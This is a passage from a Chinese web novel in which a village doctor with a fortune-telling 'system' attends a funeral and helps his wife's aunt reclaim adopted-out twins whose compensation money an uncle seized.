杨小军也不客气,一屁股坐到桌边的小马扎上,接过张小月递来的大海碗,抄起筷子就狼吞虎咽起来。 “慢点吃,没人跟你抢。”江沐看着他猴急的样子,有些好笑。 杨小军灌下一大口面汤,这才长出了一口气,脸上的笑容却收敛了,神情变得有些沉重。 “江哥,我……我是替周大哥来给你报个丧的。” 江沐夹着面的手猛地一顿,心头咯噔一下。 “周老……走了。”杨小军的声音低了下去,“今天凌晨三点多没的,听周大哥说,走的时候没遭一点罪,睡着觉就过去了,特别安详。” 屋子里的空气仿佛瞬间凝固了。 那盏煤油灯的火苗轻轻跳动着,将三人的影子映在墙上,摇曳不定。 江沐放下筷子,胸口有些发堵。 他想起周老爷子那双饱经风霜却总是带着温和笑意的眼睛,想起他每次给自己把脉时,那干瘦却有力的手。 生命,有时竟如此脆弱。 他沉默了片刻,站起身,“等我一下,我跟小月换身素净点的衣服,跟你一起过去看看。” “好。” 两人很快换了一身深色的衣服,锁了院门,坐上杨小军的车,来到周家。 还没到门口,远远就看见周家院门上挂起了白色的布幡,在夜风中无声地飘荡。 院子里已经聚集了不少人,没人高声说话,只有压抑的抽泣声和低低的议论声。 灵堂就设在正屋,周大强穿着孝服,双眼通红地跪在灵前。 看到江沐和张小月进来,他挣扎着想起身。 江沐快步上前,一把按住他的肩膀,“周大哥,节哀。” 周大强眼圈一红,声音沙哑得厉害,“江大夫,你来了……我爹走的时候,没遭罪,这是喜丧。他……他临走前一晚还念叨你,特意嘱咐我,等他走了,一定要第一时间给你报个丧,谢谢你让他老人家多过了几个舒坦日子。” 一番话,说得人心头发酸。 江沐和张小月对着灵前的黑白照片恭恭敬敬地鞠了三个躬,又上了柱香。 他看到一旁被人搀扶着的周老太太,老人家一夜之间仿佛垮了下去,却还强撑着精神,对着前来吊唁的乡亲们一一还礼。 “周大哥,打算哪天下葬?”江沐退到一旁,轻声询问。 “家里头一切从简,就在家停两天,后天一早就上山。” “好,后天我来送老爷子一程。”江沐郑重地应下。 就在这时,院门口又传来一阵骚动。 王老带着几个老伙计,也拄着拐杖,颤颤巍巍地赶了过来。 江沐跟他们打了声招呼,看着他们相互搀扶着,面色悲戚地走进灵堂。 没过多久,王老几人上完香,又径直从里面走了出来,目标明确地找到了江沐。 王老一把握住江沐的手。 “小江大夫,你出来一下,我们有几句话,想跟你说。” 第140章 老周走得安详,这是福气 院子里的气氛凝重,每个人的脸都笼罩着一层悲戚。 王老的手紧紧攥着江沐。 “小江大夫……”王老的嗓子干涩沙哑,“真没想到,再见着你,会是在这种地方。” 他浑浊的老眼里泛起一层水光,重重地叹了口气,“老周他……走了。可托你的福,他最后这几个月,身上利索,心里也舒坦。这就算是喜丧了。我替他,替我们这些老骨头,谢谢你!” 说完,他竟要弯下腰去。 江沐眼疾手快,一把将他搀住,“王老,您这是做什么!我只是做了个大夫该做的事,一件微不足道的小事罢了。千万别折煞我。” 他的声音不高,却异常沉静。 他看着灵堂里摇曳的烛火,心里一阵唏嘘。 在现代,他见惯了生死,可每一次面对生命的逝去,心中那份沉甸甸的感觉,却从未减轻分毫。 旁边几位老人也围了上来,你一言我一语地感慨。 “是啊,要是没有小江大夫,我们这几把老骨头,怕是早就躺在炕上动弹不得了。” “老周走得安详,这是福气……” 他们又聊了些村里的旧事,谈了谈老周生前的点点滴滴,悲伤的气氛中,也透着几分对江沐的亲近。 又过了一会儿,老人们相互搀扶着,颤巍巍地告辞离开,消失在沉沉的夜色里。 杨小军一直默默等在旁边,此刻才走上前来,“江兄弟,弟妹,天不早了,我送你们回去吧。” 回家的路上,江沐随口问了一句,“杨大哥,最近忙得怎么样?” 一提起这个,杨小军的语气顿时轻快了不少,他凑近了些,压低了声音,难掩兴奋,“江兄弟,板上钉钉了!我爸那事儿,妥了!多亏了你给的那些好东西!” 他说的,自然是江沐配制的滋补丹。 “那……滋补丹,”杨小军搓了搓手,眼神里满是期待,“咱们啥时候再弄点儿?” 江沐的脚步没有停,开口道,“再过一段时间。有时候,东西太多了,就不是好事了。” 物以稀为贵,这个道理他比谁都懂。 杨小军一愣,随即恍然大悟,用力一拍脑门,“对对对!江哥说得是!还是你想得周到!我听你的!” 他挠了挠头,又补充道,“那以后收药材的事儿,你直接跟我姐夫牛水生对接就行,他门儿清。啥时候有新货了,你捎个信,我立马飞奔过来!” 说话间,江沐的小院已经到了。 杨小军送到门口,便摆摆手,“江兄弟,弟妹,你们早点歇着,我回去了。” 说完,他调头离开。 到了傍晚,院门又被轻轻叩响。 来人是李有柱的婆娘,张小月的亲姑姑张兰。 她手里端着一个大海碗,上面还盖着个盘子,一股热腾腾的香气扑面而来。 “姑,这么晚了,你怎么过来了?”张小月惊喜地迎上去。 “炖了点野鸡汤,给你们送一碗补补身子。”张兰笑着把碗递过去,眼神却有些闪躲,似乎有心事。 江沐接过碗,入手温热,他揭开盘子,浓郁的肉香瞬间弥漫开来。 他由衷地赞叹,“姑,你这手艺可真是没得说。快进屋坐。” 张兰进了屋,却没坐下,只是局促地站在原地,两只手不停地在围裙上搓着。 江沐何等眼力,一眼就看出她不对劲,便温和地开了口,“姑,你是不是有啥事儿找我?” 这一问,仿佛触动了什么开关。 张兰的眼圈一下子就红了,她张了张嘴,好半天才发出声音。 “小江……姑……姑是想求你个事儿……” 她声音哽咽,犹豫了许久,才把那段尘封的往事一点点撕开。 “我……我这辈子生了三个娃。振国是老大,你们都晓得。后来……后来又生了一对龙凤胎,老二和老三……” 说到这里,她的泪水滚滚而下。 “那时候家里穷啊……穷得揭不开锅,多两张嘴就是两条人命。我和你姑父……实在没法子,只能……只能把那俩小的,送了人……” 江沐的心头猛地一沉。 这种年代的悲剧,他听过太多,可当它活生生地展现在面前时,那份冲击力依旧让人窒息。 张兰用袖子胡乱抹了把脸,继续断断续续地讲,“前阵子……我们才打听到,养着那俩孩子的人家……出事了……家里的大人都没了,就剩下……就剩下那俩可怜的娃……” “我和你姑父商量了,想……想把他们接回来。” 江沐立刻明白了她的来意,他上前一步,郑重地问,“姑,你需要我做什么,尽管开口。” 张兰一把抓住江沐的胳膊,眼里满是恳求,“小江,你认识的人多,路子广,能不能……能不能给老二,就是那个男娃,安排个活计?我们找人问过了,想找个正经工作,比登天还难,就算手里有点钱,也送不出去门路……” “我答应你。” 江沐没有丝毫犹豫,一口应下。 他的果断让张兰愣住了。 随即,江沐话锋一转,提出了一个更关键的问题,“不过,姑,你想过没有。这两个孩子,从小就不在你们身边,对你们怕是早就没了印象。突然要接他们回来,他们……能同意吗?” 这个问题,让张兰脸上的血色瞬间褪去,嘴唇哆嗦着,说不出话来。 是啊,她只想着弥补,却忘了孩子们愿不愿意接受。 江沐的声音再次响起,沉稳而有力,“这件事,我会去和有柱叔商量。不管孩子们愿不愿意回来,找工作的事,我都会帮忙到底。你放心。” “小江……”张兰再也忍不住,捂着脸痛哭出声,所有的感激、愧疚、心酸都化作了泪水。 江沐轻轻拍了拍她的背,语气温和,“姑,别跟我见外。你是小月的亲姑姑,那就是我的长辈。要是我和小月遇上事儿,你这个当姑的,难道还能坐视不理不成?” 一番话,说得张兰心里暖烘烘的,她用力地点了点头,千言万语都化作一句,“好孩子……好孩子……” 送走了情绪激动的张兰,江沐回到屋里。 他在桌边坐下,心念一动,一个只有他能看见的、带着淡淡荧光的虚拟面板在眼前展开。 【卜卦器!】 他没有丝毫犹豫,意念在面板上飞速操作。 “系统,消耗100点声望值,卜算张兰的平生,重点显示其龙凤胎子女的当前信息。” 【指令确认。消耗声望值100点,开始卜算……】 下一秒,一行行清晰的文字,浮现在江沐的面前。 第141章 一个工作而已,不算什么大事 【卜算结果:张兰之龙凤胎子女赵卫国、赵明珠,将于近期认祖归宗,此后人生顺遂,皆有所成。】 【卜算对象:张兰、李有柱夫妇,晚年康健,高寿善终。】 江沐的眉梢微微一挑。 这结果,比他预想的还要好。 不仅孩子们能回来,未来还有出息,两位老人也能得个善终,这便是一桩圆满的功德。 他正准备关闭面板,一行猩红色的警告文字却突然跳了出来。 【警告:因特殊变量介入,未来轨迹已产生偏移。如需推演后续详细变化,请支付500点声望值。】 五百点? 这系统还真是个不见兔子不撒鹰的主儿。 他毫不犹豫地在心中默念:“拒绝。” 面板瞬间消失。 江沐靠在椅背上,手指无意识地敲击着桌面。 对他而言,最重要的信息已经到手了。 这件事最大的症结,从来不是给那个叫赵卫国的男娃找个工作,而是孩子们愿不愿意认回亲生父母。 这道横亘了近二十年的血缘与情感的鸿沟,才是最难跨越的天堑。 既然系统判定他们会认祖归宗,那剩下的,不过是顺水推舟的流程罢了。 自己只需要跟着李有柱跑一趟,把场面上的事情办妥帖,便算是仁至义尽了。 吱呀一声,里屋的门开了,张小月端着一盆热水走出来,脸上还带着几分忧色。 “江沐哥,姑姑那事儿……是不是挺为难的?”她将水盆放到地上,轻声探问,“这年头,安排个正经工作,可不是张张嘴就行的事。” 江沐抬眼,看着妻子关切的眼神,心中一暖。 他起身走过去,接过她手里的毛巾,温和地笑了笑,“放心吧,这青莲公社,我说了不算,但有柱叔说了算。公社里安排不了,县里我还能说上几句话。一个工作而已,不算什么大事。” 他的语气平静,那份从容自信,瞬间抚平了张小月心里的褶皱。 她用力地点了点头,丈夫的话,就是能让人安心。 …… 另一头,李有柱家。 煤油灯下,李有柱正盘腿坐在炕上,抽着旱烟,烟雾缭绕中,一张黝黑的脸庞尽是愁云。 张兰推门进来,眼眶还是红的,一屁股坐在炕沿上,将去找江沐的事一五一十地说了。 话音刚落,李有柱手里的烟锅子磕在了炕桌上,火星子溅得到处都是。 “你咋就去找小江了?!”他嗓门一下子拔高,又急又气,“不是说了这事先不麻烦他,咱们自个儿再想想办法吗?小江帮咱们公社够多的了,这点家务事,咋好意思再去张嘴!” 张兰的眼泪又涌了上来,声音带着哭腔,却比李有柱的吼声还要刚硬。 “等?等到啥时候?那赵家两口子都没了!卫国和明珠才十九!十九岁啊!没个大人在跟前护着,还不被人给生吞活剥了!我等不了!我一天都等不了!” 她的话狠狠砸在李有柱心上。 他张了张嘴,那股子火气顿时泄了个干净,只剩下满腔的愧疚。 是啊,那是他的亲骨肉,在外面吃了快二十年的苦,如今孤苦无依,他这个当爹的,还有什么资格瞻前顾后? 夫妻俩相对无言,半晌,李有柱才长长地叹了口气,又拿起烟锅子,闷闷地抽起来。 “这事儿……振国和他媳妇那边,怕是……” 这才是他心里最打鼓的事。 张兰的心也沉了下去。 大儿子李振国憨厚,可儿媳妇刘红霞是个利索人,家里突然要多两张嘴,还是两个跟他们没感情的弟弟妹妹,谁心里能没点疙瘩? 屋子里的空气沉闷得像要凝固。 突然,李有柱把烟锅子重重一放,下了决心。 “要是振国两口子有啥想法……大不了,大不了就把这个家分了!咱俩搬出去住,那俩娃跟着咱!” 晚饭后,李振国见爹娘一晚上都拉着个脸,心里直犯嘀咕。 他给李有柱递过去一杯热水,瓮声瓮气地开了口。 “爹,你跟我娘今天咋回事?心里都藏着事儿。” 李有柱抬起头,浑浊的眼睛看了儿子半晌,把心一横,将卫国和明珠的事原原本本地说了出来。 他讲得很慢,讲完后,开口询问,“振国,你是个啥想法?” 李振国愣住了,端着水杯的手停在半空,脸上的表情变了又变。 李有柱和张兰的心都提到了嗓子眼。 谁知,李振国猛地一拍大腿,杯子里的水都晃了出来。 “爹,这有啥好想的?!”他嗓门洪亮,“那是我亲弟弟亲妹妹!流落在外面快二十年了!该认!必须认!” 他又挠了挠头,“这事儿,晚上我跟红霞说。她不是那不讲理的人,分得清轻重。” 李有柱悬着的心,砸回了肚子里,熨帖得不行。 他刚想说点什么,李振国又补了一句。 “你们不是说要给卫国找工作吗?我这几年也攒了点钱,要是钱不够,我这儿还有,先给弟弟把事办了要紧!” 厨房里,张兰也正忐忑地跟儿媳妇刘红霞洗着碗。 她搓着衣角,把事情的来龙去脉小声说了一遍,眼睛一直偷偷瞟着刘红霞的脸色。 刘红霞一直没说话,只是低着头,手里的碗被她搓得咯吱作响。 张兰的心一点点凉了下去,她咬了咬牙,声音发颤。 “红霞……要是……要是你和振国觉得不方便,我和你爹就搬出去单过,绝不拖累你们……” “娘!” 刘红霞突然停下手里的活,猛地转过身,一双眼睛亮得惊人。 “你说的这是啥话?啥叫不方便?一家人,不就得整整齐齐的?振国他多了个弟弟妹妹,我脸上还有光呢!这事儿他李振国要是敢说半个不字,你看我拾不拾掇他!” 她语气又快又急,带着一股子泼辣劲儿,却像是一股最暖的流,瞬间冲进了张兰的心里。 张兰再也忍不住,捂着脸,靠在门框上,肩膀剧烈地耸动起来。 眼泪流了下来,烫得脸颊生疼。 刘红霞风风火火地从厨房冲出来,一把夺过李振国手里的水杯,放在桌上,水花溅了一圈。 “说!刚才跟爹说啥了?还背着我!”她双手叉腰,一双杏眼瞪得溜圆,直视着炕上的爷俩。 第142章 你不是去强求,是去接他们回家 李振国被她这架势吓了一跳,嘴唇哆嗦着,半天没说出话来。 李有柱把烟锅子往炕沿上一磕,闷着头:“没啥,家里那点陈芝麻烂谷子的事。” “爹,你还瞒着我?”刘红霞嗓门一扬,几步跨到炕前,“妈都跟我说了!不就是接弟弟妹妹回来的事儿吗?你们俩合计着,要是我们两口子不同意,就分家单过?” 她这话一出,屋里的空气瞬间凝滞。 李有柱脸上火辣辣的。 “红霞,你听我说……”李有柱急着想解释。 “爹,你啥也别说!”刘红霞一摆手,眼圈却倏地红了,“你把我们当成啥人了?那是振国的亲弟妹,就是我的亲弟妹!让他们在外面受了二十年的苦,咱们家已经对不住他们了,现在好不容易能接回来,咋还能往外推?分家?谁敢提分家,我第一个跟他没完!” 这番话说得又急又快,掷地有声,砸在李有柱的心坎上,砸得他们眼眶发热,心里那块悬了半宿的石头,彻底落了地。 隔天,天色阴沉,北风卷着黄土,吹得人睁不开眼。 周老的丧事办得很简单,一口薄皮棺材,几声零落的哀嚎。 杨小军一大早就跑来找江沐,两人换上素净的衣裳,跟着送葬的队伍,深一脚浅一脚地往后山走。 没有繁琐的仪式,只有乡亲们最质朴的哀悼。 江沐心中并无波澜。 生死轮回,他见得太多了。 只是看着那抔新土,想着这个时代生命的脆弱,更坚定了他要做些什么的决心。 认亲的前一晚,江沐和张小月拎着点东西,去了李有柱家。 屋里,煤油灯的火苗被风吹得忽明忽暗,映着李有柱那张比锅底还黑的脸。 他坐立不安,一会儿站起来踱步,一会儿又坐下猛抽旱烟,脚下的烟灰已经积了厚厚一层。 “姑父,你这转得我眼都花了。”江沐给他递过去一杯热水,语气平淡,“放宽心,明天一切有我。” “小江啊……”李有柱接过杯子,滚烫的杯壁都暖不了他冰凉的手,他的声音发紧,带着不易察觉的颤抖,“我……我这心里头发慌,怦怦乱跳。你说……万一……万一那俩娃不认我这个爹,嫌我们穷,嫌我们当年……” 后面的话,他说不下去了。 那份深埋了二十年的愧疚,啃噬着他的五脏六腑。 江沐的目光沉静如水,带着一种洞悉人心的力量。 “姑父,他们不是嫌贫爱富的人。我的判断,一向很准。”他顿了顿,换了个说法,“而且,他们现在的处境,比你想的要艰难。回去,是他们最好的选择。你不是去强求,是去接他们回家。” “回家……”李有柱咀嚼着这两个字,浑浊的眼睛里,终于泛起了微光。 第二天一大早,天刚蒙蒙亮,江沐就和李有柱踏上了去赵家堡的路。 临出门前,张兰拉着江沐的手,眼眶红肿,千叮咛万嘱咐。 “小江,你姑父他……他是个闷葫芦,嘴笨,不会说话。到了那儿,全靠你帮衬着。要是……要是我那俩苦命的娃实在不愿意,你也别强逼他们,让他们……让他们在那儿好好过就行。” 说到最后,她的声音已经哽咽得不成样子。 江沐郑重地点了点头:“姑姑,放心。” 赵家堡生产队离得不近,两人借了队里的牛车,颠簸了快两个钟头才到。 刚到村口,还没等进去,就被两个胳膊上戴着红袖章的男人拦了下来。 “站住!干什么的?哪个队的?”为首的男人一脸警惕,手里还攥着根木棍。 李有柱常年当干部的气势瞬间泄了大半,紧张得手都不知道往哪儿放。 江沐上前一步,不卑不亢地笑了笑:“老乡,别紧张。我们是青莲公社的,我叫江沐,是公社的医生。这位是我们的李有柱大队长,来找赵家堡的赵国长老哥办点事。” 一听是公社干部和医生,两人脸色缓和了不少。 为首的男人把木棍往身后一掖,瓮声瓮气地开了口:“我是这儿的大队长,赵抗战。这是我们大队书记,赵小树。” 他旁边的赵小树点了点头,却皱起了眉头:“你们找赵国长?唉……你们来晚了。” 赵抗战叹了口气,脸上露出一抹同情:“国长和他婆娘,前些天出事,都没了。家里头,就剩下俩娃了。” 李有柱踉跄着冲到赵抗战面前,一双布满血丝的眼睛死死盯着他:“那……那俩娃呢?” “唉,可怜见的,现在是吃百家饭。”赵小树接过了话头。 李有柱的身子剧烈地颤抖起来,他猛地抓住赵抗战的胳膊,力气大得像是要把对方的骨头捏碎。 “我……我就是那俩娃的亲爹!”他像是用尽了全身的力气,从喉咙里吼出这句话,“我听说了赵老哥家的事,我是来……我是来接他们回去的!” 赵抗战和赵小树被这突如其来的变故惊得目瞪口呆,面面相觑。 半晌,赵抗战才反应过来,他掰开李有柱的手,脸色严肃起来:“这事儿不是在这儿说话的地方。走,去大队部!小树,你去把两个孩子叫过来!” 赵小树应了一声,转身就往村里跑。 赵抗战领着江沐和魂不守舍的李有柱往大队部走。 李有柱的一双大手死死攥成了拳头,骨节捏得发白,额头上青筋一根根蹦起,汗珠子顺着黝黑的脸颊往下淌。 江沐拍了拍他的背,低声安抚:“姑父,稳住。起码……没人拦着你认亲了。” 进了简陋的大队部办公室,赵抗战给两人倒了水,自己也点了根烟。 江沐看向一旁的赵小树,主动开口:“赵书记,能问一下,赵国长他们……是怎么回事吗?” 赵小树叹了口气,眼底满是惋惜:“还能是啥?命不好啊!两口子去县里赶集,回来的时候,被县纺织厂拉货的卡车给撞了,当场人就没了。连个囫囵尸首都……唉!” 他摇了摇头,“人是我跟抗战队长拉回来的,丧事也是队里凑钱给办的。国长两口子都是老实人,那俩娃也争气,聪明,学习好,谁能想到遭这横祸……” 话音未落,门口传来了脚步声。 赵抗战带着一男一女两个半大孩子走了进来。 那少年约莫十九岁的年纪,身形挺拔,眉眼英朗,虽然穿着打补丁的旧衣服,却掩不住一股子倔强之气。 旁边的姑娘身量苗条,一张瓜子脸,五官清秀,尤其那双眼睛,和张兰简直是一个模子刻出来的。 兄妹俩脸上带着明显的疑惑,打量着屋里的两个陌生人。 李有柱的目光在触及到那张脸的瞬间,彻底凝固了。 他嘴唇哆嗦着,一句话也说不出来。 二十年的思念、愧疚、痛苦,在这一刻,尽数化作滚烫的泪水,夺眶而出。 是他日思夜想的骨肉! 是他的卫国和明珠! “有啥事,坐下说。”赵抗战打破了这令人窒息的沉默,指了指旁边的长凳。 第143章 我有个条件,你必须答应 赵卫国、赵明珠兄妹俩被这突如其来的变故惊得愣在原地,目光在泪流满面的李有柱和神色凝重的赵抗战之间来回逡巡。 那少年,也就是赵卫国,将妹妹赵明珠悄悄往身后拉了半步,自己则挺直了本就硬朗的脊梁。 他喉结滚动了一下,目光最终落在了大队长赵抗战身上,声音带着与年龄不符的沉稳。 “赵队长,叫我们兄妹过来,到底啥事?” 赵抗战嘬了口烟,将烟屁股在鞋底上捻灭,抬起下巴朝李有柱的方向示意了一下:“人不是我找的,是这位青莲公社的李队长。有啥话,让他自个儿跟你们说。” 一瞬间,屋里所有人的目光都聚焦在了李有柱身上。 兄妹俩的心里早已掀起了惊涛骇浪。 其实,关于自己的身世,养父赵国长生前隐约提过一嘴。 年少时,他们也曾有过怨怼,为何偏偏是自己被抛下? 可随着年岁渐长,又经历了养父母的骤然离世、亲戚们的冷眼相待,那点不甘与怨恨,早已被生活的艰辛磨得一干二净。 他们比谁都明白,在那个连肚子都填不饱的年头,能把孩子送出去给人养,已经是父母能给的最大的活路。 李有柱颤抖着手,从兜里摸出烟叶和纸,卷了一根粗劣的旱烟,划着火柴,一连几次才点着。 他猛地吸了一大口,辛辣的烟气呛得他剧烈地咳嗽起来,眼泪流得更凶了。 烟雾缭绕中,他那张饱经风霜的脸显得愈发晦暗。 “娃……我……是你们的亲爹。” 他抬起那双通红的眼睛,死死地盯着眼前的两个孩子,仿佛要将这二十年错过的时光,统统看回来。 “你们是龙凤胎,你,喜龙,是哥,比你妹早出来不到五分钟。你俩的右边肩膀上,都有一块跟树叶子一样的胎记,对不对?” 赵卫国和赵明珠浑身一震,下意识地对视一眼,都在对方眼中看到了无法掩饰的惊骇。 这是他们兄妹间最大的秘密,连养父母都未曾告诉过! 李有柱见他们神情松动,知道自己说对了,情绪更是激动,话也顺畅了些。 “当年家里穷得实在揭不开锅,多一张嘴就是一条人命。我跟你娘……是实在没法子了,才托人给你们找了国长兄弟这户好人家。这些年,我……我偷偷来扒着墙头看过你们几回,看你们穿着新衣裳,吃着白面馍,我心里头……就踏实了。” “前些时候,听人说国长兄弟他们……出事了。我这心啊,日日夜夜地煎着。我就想,无论如何,得把你们接回去。咱家现在是穷,可有爹一口干的,就绝不会让你们喝稀的!” 一番话,说得情真意切,朴实无华。 赵卫国沉默了,他垂下眼帘,让人看不清他眼中的情绪。良久,他才抬起头,声音里听不出波澜。 “这事太突然,让我们兄妹有些措手不及。”他顿了顿,目光扫过李有柱,最终还是落在了赵抗战脸上,“我养父生前提过,说如果有天那边来人了,让我们……至少回去认个亲。” 他转过身,面对着自己的妹妹赵明珠,压低了声音:“明珠,这事,你怎么看?” 赵明珠的眼圈早就红了,她紧紧咬着嘴唇,泪水在眼眶里打转。 自从养父母走后,家里那些所谓的亲戚,第一时间不是来安慰他们,而是扑上来将厂里那点可怜的抚恤金和家里仅有的一点积蓄搜刮得干干净净。 若不是哥哥强硬地护着,怕是连这两孔破窑都保不住。 她吸了吸鼻子,声音带着浓重的鼻音,却异常坚定:“哥,我想认。你都到了该说亲的年纪了,咱们家现在这个光景……连个主事的大人都没有,往后的路咋走?” 家?他们哪里还有家? 赵卫国情绪松动。 是啊,他可以撑着,可妹妹呢?他总不能让妹妹跟着自己一辈子喝西北风。 赵卫国深吸一口气,他猛地转回身,直视着李有柱那双充满期盼的眼睛。 “亲,可以认!” 李有柱闻言,眼底瞬间爆发出狂喜的光芒,整个人都像是活了过来。 “但是,”赵卫国话锋一转,语气变得无比郑重,“我有个条件,你必须答应。” “别说几个,就是几十个,几百个,爹都应你!”李有柱急切地表态。 赵卫国伸出一根手指,目光灼灼:“我只有一个条件。我养父姓赵,他把我兄妹俩拉扯大,这份恩情比天大。我以后生下的第一个孩子,无论男女,必须姓赵,入赵家的谱!” 这不仅仅是一个姓氏,更是一份承诺,一份偿还不清的养育之恩。 李有柱愣住了,他没想到会是这样一个条件。 随即,一股巨大的敬意涌上心头。 他重重地点头,声音铿锵有力,掷地有声。 “行!爹答应你!这是应当应分的!” 僵持的局面瞬间瓦解,屋里的气氛也为之一松。 一直沉默旁观的江沐,此时才缓缓站起身,脸上带着温和的笑意,打破了宁静。 “既然事情说开了,我看,不如让我们去家里看看?” 他目光转向赵卫国兄妹,语气充满了尊重。 赵卫国看了江沐一眼,这个年轻人从始至终都安静地坐着,身上却有一种让人信服的气质。 他点了点头,转身对妹妹低语一句,便率先走出了大队部。 “跟我来吧。” 江沐和李有柱立刻跟上。 赵家兄妹的家,与其说是家,不如说是两孔栖身的破窑洞。 窑洞里光线昏暗,空气中弥漫着一股土腥和许久未见阳光的霉味。 除了一个豁了口的土炕和一张缺了腿的烂木桌,便再无他物,真正是家徒四壁,一贫如洗。 这股子深入骨髓的凄凉,让李有柱刚压下去的眼泪又涌了上来,心疼得直抽抽。 气氛一时有些凝滞。 还是江沐先开了口,他的声音温和,驱散了些许尴尬。 “你们也别把我当长辈,你父亲是我姑父,我瞧着咱们年纪都差不多,我可能也就比你们大上几个月。叫我江沐就行。” 他环视了一下这空荡荡的窑洞,目光最终落在两个神情紧绷的年轻人身上,“我知道,今天这事太突然,你们心里肯定一团乱麻。有什么想问的吗?关于……家里的事,或者任何事。” 赵卫国,不,现在该叫赵卫国了,他嘴唇动了动,却发不出半个音节。 倒是妹妹赵明珠,鼓起了勇气,声音细弱蚊蝇:“我们……那边……还有些什么人?” 第144章 这笔钱,你们想不想要回来 李有柱抢着回答,声音里带着急切的讨好:“有!有你娘,你大哥振国,还有你大嫂……你还有个大侄子呢!” 兄妹俩听到这一个个陌生的称谓,脸上非但没有喜色,反而更添了几分茫然无措。 江沐看出了他们的窘迫,轻轻摆了摆手,示意李有柱先别急。 他转向兄妹二人,换了个方式:“不如,你们先说说这些年的事?也让我们了解一下。” 提到过往,赵卫国的神情柔和了许多,那紧绷的脊梁也似乎松弛了一瞬。 “我爹娘……养父母他们,对我们很好。吃的穿的,从没短过我们。爹在纺织厂上班,娘在家操持,他总说,再苦再累,也得让我们兄妹俩读书识字,将来有出息。” 他的声音很平,像是在叙述别人的故事,可那微微颤抖的指尖,却泄露了他内心的波澜。 江沐静静地听着,他敏锐地捕捉到了关键信息:“那叔叔婶婶,为什么会出意外?” 赵明珠的眼泪流下来了,哽咽着,一个字都说不出来。 赵卫国猛地攥紧了拳头,指节因为用力而泛白。 他深吸一口气,努力压制着翻涌的情绪,声音沙哑得厉害:“我们也不知道。那天赵队长突然跑来学校,说厂里出事了。等我们疯了一样跑到医院,爹……已经没了。只见到娘最后一眼,她就说了一句话……” 他说到这里,再也说不下去,痛苦地闭上了眼睛。 江沐的心也跟着一沉。 他没有追问那最后一句话是什么,而是换了个更现实的问题:“厂里给了赔偿吧?叔叔婶婶的兄弟姐妹呢?没来帮忙操持后事?” 一提到这个,赵明珠积攒的委屈瞬间爆发了! “赔了!厂里赔了二百块!那是我爹妈的买命钱!”她尖声哭喊起来,声音凄厉,“可钱全被我二叔赵国平抢走了!他说他来办后事,结果人影都没见着!他还……他还趁我们不在家,把家里唯一的缝纫机和半袋子白面全都搬走了!那些亲戚,一个个跟饿狼一样,把家里翻了个底朝天!” “他娘的!” 李有柱一声暴喝,满脸涨得通红,青筋暴起。 他一拳砸在土炕的炕沿上,震得尘土簌簌直掉。“反了天了!刮绝户财的畜生!赵抗战他们大队部是干什么吃的?这种事他们也敢不管?!” 他吼着,转身就要往外冲。 “姑父!”江沐一把拉住了他,“你先冷静点!” “我冷静不了!”李有柱双眼赤红,“我得去找赵抗战问个明白!我李有柱的娃,还轮不到别人这么欺负!” “你去了除了跟他吵一架,把事情闹僵,还有什么用?”江沐直视着他的眼睛,“你想想,他们要是真想管,能让这事发生吗?” 李有柱瞬间被问住了,胸膛剧烈地起伏着,却说不出半句反驳的话。 江沐松开手,转向早已吓得不敢哭的兄妹俩:“这笔钱,你们想不想要回来?” 赵明珠下意识地点头,随即又怯懦地摇了摇头,咬着嘴唇,眼里全是恐惧:“想……可是二叔他……他会打我们的。他说我们再敢闹,就把我们从这窑洞里赶出去。” “有我在,他不敢。” 江沐的声音平静,他站起身,拍了拍身上的土。 “你们什么都不用怕,也什么都不用管。今天先收拾收拾东西,明天一早,我来接你们回青莲公社。剩下的事,交给我。” 出了窑洞,李有柱还憋着一肚子火。 江沐却像是没事人一样,不急不缓地领着他,径直又回了大队部。 “李叔,一会儿你听着就行,别乱说话。”江沐低声叮嘱了一句。 赵抗战和赵小树正准备下工,看见他俩去而复返,都有些意外。 “江医生,李队长,还有事?” 江沐脸上挂着客气的笑,先递过去一根烟:“赵队长,赵书记,今天这事,真是太感谢你们了。要不是你们帮忙,我们还不知道要费多大劲。” 赵抗战摆摆手,接过烟别在耳朵上:“分内之事。” “是这样,”江沐话锋一转,像是闲聊般随口提起,“我刚才听俩孩子说,他们养父母那笔二百块的赔偿款,好像……没到他们手上?我寻思着,这里面是不是有什么误会?按理说,这么大一笔钱,大队部肯定得盯着点吧?” 赵抗战闻言,脸色微微一僵,嘬了口烟,朝旁边的赵小树递了个眼色。 赵小树会意,清了清嗓子,一脸的为难:“唉,江医生,这事我们知道。那笔钱,是被孩子们的亲二叔,赵国平领走的。我们当时也找他调解过,可他说这是他们赵家的家事,钱得由他这个长辈保管,用来给俩孩子办后事、将来娶媳妇用。我们……我们也没办法啊,清官难断家务事嘛。” 江沐心里顿时跟明镜似的。 不是没办法,是不想惹麻烦。 “明白了。”他点了点头,脸上依旧挂着笑,“那就不打扰两位了,我们明天一早来接孩子。” 从赵家堡出来,天色已经擦黑。 李有柱闷着头赶着牛车,一路上一句话没说。 江沐带着他去了县里的国营饭店,点了两个硬菜一瓶酒。 几杯酒下肚,李有柱那股子火气才算顺下去一些。 吃完饭,江沐没急着回去,而是领着李有柱拐进了药材收购站。 收购站里,杨小军正盘点着药材,一见江沐,立刻眉开眼笑地迎了上来:“江沐兄弟!你可算来了!” “小军,帮个忙。”江沐也不跟他客套,“明天早上,你无论如何帮我弄辆车,最好是带车斗的卡车,去赵家堡拉点东西。” “没问题!多大点事儿,包在我身上!”杨小军拍着胸脯,一口应下。 江沐点点头,状似无意地又问了一句:“对了,再跟你打听个事儿。年前那会儿,纺织厂的货车在路上是不是撞死过人?这事,你熟吗?” 杨小军脸上的笑容微微一滞,“江哥,这事我知道。你怎么突然问起这个?” 第145章 刮绝户财,也不怕天打雷劈 杨小军脸上的笑意瞬间凝固,他压低了声音,警惕道,“兄弟,这事可不小。纺织厂那次事故,厂里捂得挺严实,就怕影响生产。听说死的是一对夫妇,赔偿款也给得痛快,怎么……” 他的话没说完,但意思已经很明白了。 江沐的眼神沉静如水,将杯中残酒一饮而尽,辛辣的液体划过喉咙,却浇不灭心头的冷冽。 他没绕弯子,三言两语便将赵家兄妹的遭遇和盘托出,尤其是那笔被亲二叔侵吞的二百块买命”。 “……事情就是这么个事情。钱是厂里赔的,按理说,也该由厂里出面监督。可现在钱到了畜生手里,赵家堡大队部又和稀泥,你说这事,该怎么整?” 